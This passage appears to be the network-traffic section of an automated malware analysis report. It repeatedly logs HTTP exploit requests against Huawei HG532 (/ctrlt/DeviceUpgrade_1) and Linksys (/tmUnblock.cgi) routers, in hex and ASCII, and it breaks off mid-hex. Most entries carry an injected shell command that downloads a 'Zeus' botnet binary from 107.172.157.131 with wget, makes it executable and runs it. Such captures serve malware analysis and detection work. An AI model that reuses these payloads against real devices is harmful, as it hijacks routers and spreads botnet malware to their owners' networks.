6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 